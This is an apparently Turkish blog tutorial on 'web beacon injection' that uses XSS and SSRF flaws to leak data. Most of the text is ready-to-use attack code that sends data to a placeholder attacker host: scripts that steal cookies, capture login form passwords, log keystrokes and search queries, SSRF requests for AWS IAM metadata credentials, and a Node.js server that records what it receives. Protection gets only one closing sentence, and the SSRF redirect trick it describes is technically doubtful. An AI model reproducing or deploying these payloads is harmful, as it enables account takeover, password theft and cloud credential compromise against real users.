Web Beacon Injection | XSS ve SSRF ile Veri Sızdırma Teknikleri
Web beacon injection, siber güvenlik alanında hedef sistemlerden gizlice veri toplamak için kullanılan etkili ve gizli bir tekniktir. Bu yöntem, özellikle Cross-Site Scripting (XSS) ve Server-Side Request Forgery (SSRF) gibi güvenlik açıklarından yararlanarak, hedef kullanıcının tarayıcısından veya sunucusundan hassas bilgileri dışarı sızdırmak için tasarlanmıştır. Web beacon’lar genellikle 1×1 piksel boyutunda şeffaf bir resim (image beacon) veya uzaktan yüklenen bir script aracılığıyla çalışır. Bu makalede, web beacon injection’ın teknik detaylarını, XSS ve SSRF ile nasıl entegre edildiğini, genişletilmiş örnek senaryolarını, her örneğin kodlarının ne işe yaradığını, potansiyel etkilerini ve korunma yöntemlerini detaylı bir şekilde ele alacağız.
Web Beacon Nedir?
Web beacon, bir web sayfasında veya e-postada yer alan, genellikle kullanıcı tarafından fark edilmeyen küçük bir nesnedir. En yaygın formu, 1×1 piksel boyutunda şeffaf bir GIF veya PNG resmidir. Bu resimler, bir uzak sunucudan yüklenir ve yükleme işlemi sırasında sunucuya kullanıcı veya sistem verileri gönderilir. Örneğin, IP adresi, tarayıcı bilgileri, çerezler, oturum belirteçleri veya gezinme alışkanlıkları beacon ile birlikte sunucuya iletilebilir. Meşru kullanımları arasında pazarlama ve analiz yer alsa da, kötü niyetli kişiler tarafından veri hırsızlığı, oturum ele geçirme veya izinsiz izleme için kullanılabilir.
Web beacon’ların temel avantajı, kullanıcı etkileşimi gerektirmemesi ve gizlice çalışmasıdır. Bir kullanıcı, beacon içeren bir sayfayı ziyaret ettiğinde veya bir e-postayı açtığında, beacon otomatik olarak tetiklenir ve veri sızdırma işlemi başlar.
Web Beacon Injection Nasıl Çalışır?
Web beacon injection, XSS ve SSRF gibi güvenlik açıklarından faydalanarak hedef sistemden veri toplar. Bu zafiyetler, saldırganın doğrudan hedef cihazla etkileşime geçmeden hassas verilere erişmesini sağlar. Aşağıda, her iki zafiyetin web beacon ile nasıl kullanıldığını detaylı bir şekilde açıklayalım.
Cross-Site Scripting (XSS) ile Web Beacon Enjeksiyonu
XSS, bir web uygulamasında kullanıcı girişlerinin düzgün bir şekilde doğrulanmaması veya sanitize edilmemesi durumunda ortaya çıkar. Saldırgan, kötü niyetli bir JavaScript kodunu hedef web sayfasına enjekte ederek, kullanıcının tarayıcısında istenmeyen işlemler gerçekleştirebilir. Web beacon injection, XSS ile birleştirildiğinde aşağıdaki yöntemlerle uygulanır:
- Görünmez Resim Beacon’ı:
- Amaç: Kullanıcının çerezlerini veya tarayıcı bilgilerini toplamak.
- Kod:
<img src="http://saldirgan-sunucu.com/beacon.png?cookies=document.cookie&useragent=navigator.userAgent&location=window.location.href" width="1" height="1" style="display:none;"> - Kod Açıklaması:
- <img>: 1×1 piksel boyutunda görünmez bir resim oluşturur.
- src: Saldırganın kontrol ettiği sunucuya bir GET isteği gönderir. URL parametreleri (cookies, useragent, location) ile çerezler, tarayıcı bilgileri ve mevcut sayfa URL’si gönderilir.
- width=”1″ height=”1″ style=”display:none;“: Resmin kullanıcı tarafından görülmesini engeller.
- Sonuç: Her kullanıcı bu sayfayı ziyaret ettiğinde, çerezleri ve diğer tarayıcı bilgileri saldırganın sunucusuna gönderilir.
- JavaScript ile Dinamik Beacon Oluşturma:
- Amaç: Daha esnek veri toplama ve dinamik veri manipülasyonu.
- Kod:
<script> var img = document.createElement('img'); img.src = 'http://saldirgan-sunucu.com/beacon.png?data=' + encodeURIComponent(document.cookie + '|' + window.location.href + '|' + navigator.language); img.width = 1; img.height = 1; img.style.display = 'none'; document.body.appendChild(img); </script> - Kod Açıklaması:
- document.createElement(‘img’): Tarayıcıda dinamik olarak bir resim nesnesi oluşturur.
- img.src: Saldırganın sunucusuna çerezler, sayfa URL’si ve tarayıcı dilini (navigator.language) gönderir.
- encodeURIComponent: Verilerin URL’de güvenli bir şekilde iletilmesini sağlar (örneğin, özel karakterler kodlanır).
- document.body.appendChild(img): Resmi sayfaya ekler, ancak görünmez kalır.
- Sonuç: Bu yöntem, statik bir HTML enjeksiyonundan daha esnek olup, farklı veri türlerini toplamak için özelleştirilebilir.
- Form Verilerini Sızdırma:
- Amaç: Kullanıcı tarafından girilen form verilerini (örneğin, kullanıcı adı ve şifre) çalmak.
- Kod:
<script> document.getElementById('login-form').addEventListener('submit', function(e) { var username = document.getElementById('username').value; var password = document.getElementById('password').value; var img = document.createElement('img'); img.src = 'http://saldirgan-sunucu.com/beacon.png?username=' + encodeURIComponent(username) + '&password=' + encodeURIComponent(password); img.style.display = 'none'; document.body.appendChild(img); }); </script> - Kod Açıklaması:
- addEventListener(‘submit’): Form gönderildiğinde tetiklenir.
- document.getElementById: Kullanıcı adı ve şifre alanlarının değerlerini alır.
- img.src: Form verilerini (kullanıcı adı ve şifre) beacon aracılığıyla saldırganın sunucusuna gönderir.
- Sonuç: Kullanıcı formu gönderdiğinde, hassas giriş verileri saldırgana iletilir, bu da kimlik avı saldırılarında yaygın olarak kullanılır.
- Klavye Girişlerini İzleme (Keylogger Beacon):
- Amaç: Kullanıcının klavye girişlerini gerçek zamanlı olarak toplamak.
- Kod:
<script> document.addEventListener('keydown', function(e) { var key = e.key; var img = document.createElement('img'); img.src = 'http://saldirgan-sunucu.com/beacon.png?key=' + encodeURIComponent(key); img.style.display = 'none'; document.body.appendChild(img); }); </script> - Kod Açıklaması:
- document.addEventListener(‘keydown’): Kullanıcının her klavye tuşuna basışını yakalar.
- e.key: Basılan tuşun değerini alır (örneğin, “a”, “Enter”).
- img.src: Her tuş vuruşunu beacon ile saldırganın sunucusuna gönderir.
- Sonuç: Saldırgan, kullanıcının yazdığı her şeyi (örneğin, arama sorguları, mesajlar) toplayabilir.
Server-Side Request Forgery (SSRF) ile Web Beacon Enjeksiyonu
SSRF, bir web uygulamasının sunucu tarafında kontrolsüz bir şekilde uzak kaynaklara istek göndermesine olanak tanır. Saldırgan, bu zafiyeti kullanarak sunucunun kendi adına bir web beacon isteği göndermesini sağlayabilir. Aşağıda SSRF ile kullanılan yöntemler ve örnekler verilmiştir:
- Dahili Ağ Bilgilerini Sızdırma:
- Amaç: Sunucunun dahili ağından veya bulut metadata API’lerinden hassas verileri toplamak.
- Kod (SSRF isteği):
POST /fetch-url Content-Type: application/x-www-form-urlencoded url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?redirect=http://saldirgan-sunucu.com/beacon.png?data=iam_credentials - Kod Açıklaması:
- url=http://169.254.169.254/…: AWS EC2 metadata API’sine bir istek gönderir.
- redirect=http://saldirgan-sunucu.com/…: Metadata API’sinden alınan verileri beacon ile saldırganın sunucusuna yönlendirir.
- Sonuç: Saldırgan, bulut ortamındaki IAM kimlik bilgilerini veya diğer hassas verileri ele geçirebilir.
- Sunucu Tarafında Oturum Bilgilerini Toplama:
- Amaç: Sunucunun çerezlerini veya oturum bilgilerini sızdırmak.
- Kod (SSRF isteği):
GET /fetch?url=http://saldirgan-sunucu.com/beacon.png?server_cookies=server_cookie_data - Kod Açıklaması:
- /fetch: SSRF zafiyeti bulunan bir uç nokta.
- url=…: Sunucuyu, saldırganın beacon sunucusuna bir istek göndermeye zorlar.
- Sonuç: Sunucunun oturum çerezleri veya diğer hassas bilgileri beacon ile dışarı sızdırılır.
- Dış Servislerle Etkileşim:
- Amaç: Sunucuyu kullanarak bir dış servise sahte istekler göndermek ve bu etkileşimi izlemek.
- Kod (SSRF isteği):
POST /api/ping Content-Type: application/json {"url": "http://saldirgan-sunucu.com/beacon.png?ping=external_service"} - Kod Açıklaması:
- {“url”: …}: Sunucuyu, saldırganın beacon sunucusuna bir istek göndermeye zorlar.
- ping=external_service: Dış servisle etkileşimi beacon ile kaydeder.
- Sonuç: Saldırgan, sunucunun hangi dış servislerle iletişim kurduğunu izleyebilir ve bu bilgiyi ek saldırılar için kullanabilir.
Web Beacon ile Toplanabilecek Veriler
Web beacon’lar, hem istemci hem de sunucu tarafında geniş bir veri yelpazesi toplayabilir:
- Kullanıcı Bilgileri:
- IP adresi
- Tarayıcı türü ve sürümü (örneğin, Firefox 128.0)
- İşletim sistemi (örneğin, Linux Ubuntu 24.04)
- Coğrafi konum (IP tabanlı)
- Ekran çözünürlüğü, cihaz türü ve tarayıcı eklentileri
- Oturum Verileri:
- Çerezler (oturum çerezleri, kimlik doğrulama belirteçleri)
- Oturum kimlikleri (session IDs)
- JSON Web Token (JWT) veya diğer token’lar
- Sayfa Etkileşimleri:
- Ziyaret edilen URL’ler
- Tıklama verileri (butonlar, bağlantılar)
- Form girişleri (kullanıcı adı, şifre, kredi kartı bilgileri)
- Klavye girişleri (arama sorguları, mesajlar)
- Sunucu Bilgileri (SSRF durumunda):
- Dahili IP adresleri ve ağ yapılandırmaları
- Bulut metadata (örneğin, AWS EC2 instance metadata, Azure IMDS)
- Sunucu yazılımı ve sürüm bilgileri
- API anahtarları, veritabanı kimlik bilgileri
Örnek Senaryolar
Aşağıda, web beacon injection’ın farklı senaryolarda nasıl kullanıldığını gösteren genişletilmiş örnekler ve her bir kod parçasının işlevi açıklanmıştır:
Senaryo 1: E-ticaret Sitesinde XSS ile Çerez Hırsızlığı
- Durum: Bir e-ticaret sitesinde, kullanıcı yorumlarının düzgün sanitize edilmediği bir XSS zafiyeti bulunur.
- Kod:
<script> var img = document.createElement('img'); img.src = 'http://saldirgan-sunucu.com/collect?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href); img.width = 1; img.height = 1; img.style.display = 'none'; document.body.appendChild(img); </script> - Kod Açıklaması:
- var img = document.createElement(‘img’): Dinamik bir resim nesnesi oluşturur.
- img.src: Çerezleri ve mevcut URL’yi beacon ile saldırganın sunucusuna gönderir.
- encodeURIComponent: Verilerin URL’de güvenli bir şekilde iletilmesini sağlar.
- document.body.appendChild(img): Resmi sayfaya ekler.
- Sonuç: Saldırgan, kullanıcıların oturum çerezlerini ele geçirerek hesaplarına erişebilir, örneğin, sepete ürün ekleyebilir veya ödeme bilgilerini değiştirebilir.
Senaryo 2: SSRF ile Bulut Metadata Sızdırma
- Durum: Bir bulut tabanlı uygulama, kullanıcı tarafından sağlanan bir URL’ye istek gönderen bir SSRF zafiyetine sahiptir.
- Kod (SSRF isteği):
POST /fetch-url Content-Type: application/x-www-form-urlencoded url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?redirect=http://saldirgan-sunucu.com/beacon.png?data=iam_credentials - Kod Açıklaması:
- url=http://169.254.169.254/…: AWS metadata API’sine istek gönderir.
- redirect=…: Alınan IAM kimlik bilgilerini beacon ile saldırganın sunucusuna yönlendirir.
- Sonuç: Saldırgan, bulut ortamındaki hassas kimlik bilgilerini ele geçirerek yetkisiz işlemler gerçekleştirebilir.
Senaryo 3: E-posta ile Web Beacon Kullanımı
- Durum: Saldırgan, bir kimlik avı e-postası gönderir ve kullanıcıların e-postayı açıp açmadığını izler.
- Kod:
<img src="http://saldirgan-sunucu.com/track?email=user@example.com&ip=client_ip&time=2025-07-22T15:15:00Z" width="1" height="1"> - Kod Açıklaması:
- <img>: E-postayı açan kullanıcının tarayıcısında bir beacon isteği tetikler.
- src: Kullanıcının e-posta adresini, IP adresini ve açılış zamanını gönderir.
- Sonuç: Saldırgan, e-postanın açıldığını ve kullanıcının IP adresini öğrenir, bu da hedefli sosyal mühendislik saldırıları için kullanılabilir.
Senaryo 4: Sosyal Medya Platformunda XSS ile Kullanıcı Profili Toplama
- Durum: Bir sosyal medya platformunda, kullanıcı biyografisi alanına enjekte edilen bir XSS zafiyeti bulunur.
- Kod:
<script> var profile = document.querySelector('.profile-name').innerText; var img = document.createElement('img'); img.src = 'http://saldirgan-sunucu.com/beacon.png?profile=' + encodeURIComponent(profile); img.style.display = 'none'; document.body.appendChild(img); </script> - Kod Açıklaması:
- document.querySelector(‘.profile-name’): Kullanıcının profil adını alır.
- img.src: Profil adını beacon ile gönderir.
- Sonuç: Saldırgan, kullanıcıların profil bilgilerini toplar ve bu verileri kimlik avı veya sosyal mühendislik için kullanabilir.
Senaryo 5: Arama Motoru Sorgularını Çalma
- Durum: Bir arama motorunun arama çubuğunda XSS zafiyeti bulunur.
- Kod:
<script> document.getElementById('search-box').addEventListener('input', function(e) { var query = e.target.value; var img = document.createElement('img'); img.src = 'http://saldirgan-sunucu.com/beacon.png?query=' + encodeURIComponent(query); img.style.display = 'none'; document.body.appendChild(img); }); </script> - Kod Açıklaması:
- addEventListener(‘input’): Arama çubuğuna yazılan her karakteri yakalar.
- e.target.value: Kullanıcının arama sorgusunu alır.
- img.src: Sorguyu beacon ile gönderir.
- Sonuç: Saldırgan, kullanıcıların arama sorgularını toplayarak ilgi alanlarını veya hassas bilgilerini öğrenebilir.
Web Beacon Enjeksiyonunun Etkileri
Web beacon injection, ciddi güvenlik riskleri taşır:
- Veri Sızıntısı: Kullanıcıların kişisel bilgileri, oturum verileri veya sunucu meta verileri sızabilir.
- Oturum Ele Geçirme: Çerezlerin veya token’ların ele geçirilmesiyle, saldırgan hedef hesapları devralabilir.
- Gizlilik İhlali: Kullanıcıların gezinme alışkanlıkları, klavye girişleri ve davranışları izlenebilir.
- Finansal Kayıplar: E-ticaret sitelerinde veya bulut ortamlarında yetkisiz işlemler finansal zarara yol açabilir.
- Ek Saldırıların Tetiklenmesi: Toplanan veriler, kimlik avı, sosyal mühendislik veya daha karmaşık siber saldırılar için kullanılabilir.
Teknik Örnek: Kötü Amaçlı Sunucu Kurulumu
Saldırganın beacon verilerini toplamak için bir sunucu kurması gerekebilir. Aşağıda, Node.js ile basit bir sunucu örneği ve açıklaması verilmiştir:
- Kod:
const http = require('http'); const fs = require('fs'); const server = http.createServer((req, res) => { if (req.url.startsWith('/beacon.png')) { const urlParams = new URLSearchParams(req.url.split('?')[1]); const data = urlParams.toString(); fs.appendFileSync('collected_data.txt', `${new Date().toISOString()} - ${data}\n`); res.writeHead(200, { 'Content-Type': 'image/png' }); const pixel = Buffer.from('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=', 'base64'); res.end(pixel); } else { res.writeHead(404); res.end(); } }); server.listen(8080, () => console.log('Beacon sunucusu 8080 portunda çalışıyor')); - Kod Açıklaması:
- http.createServer: HTTP sunucusu oluşturur.
- req.url.startsWith(‘/beacon.png’): Beacon isteklerini yakalar.
- new URLSearchParams: URL parametrelerini ayrıştırır.
- fs.appendFileSync: Verileri bir dosyaya kaydeder.
- res.writeHead(200, { ‘Content-Type’: ‘image/png’ }): 1×1 piksel PNG resmi döndürür.
- Sonuç: Sunucu, gelen verileri kaydeder ve beacon’ın çalışmasını sağlar.
Sonuç
Web beacon injection, XSS ve SSRF gibi zafiyetlerden yararlanarak hassas verileri sızdırmak için kullanılan güçlü bir tekniktir. Görünmez resimler, dinamik script’ler ve klavye izleme gibi yöntemlerle, saldırganlar çerezlerden bulut metadata’sına kadar geniş bir veri yelpazesi toplayabilir. Geliştiricilerin güvenlik açıklarını kapatması, CSP ve çerez güvenliği gibi politikalar uygulaması ve kullanıcıların gizlilik odaklı araçlar kullanması, bu tehditleri en aza indirebilir. Web güvenliği, sürekli dikkat, düzenli testler ve güncel savunma mekanizmaları gerektirir.
Başka yazılarda görüşmek üzere.

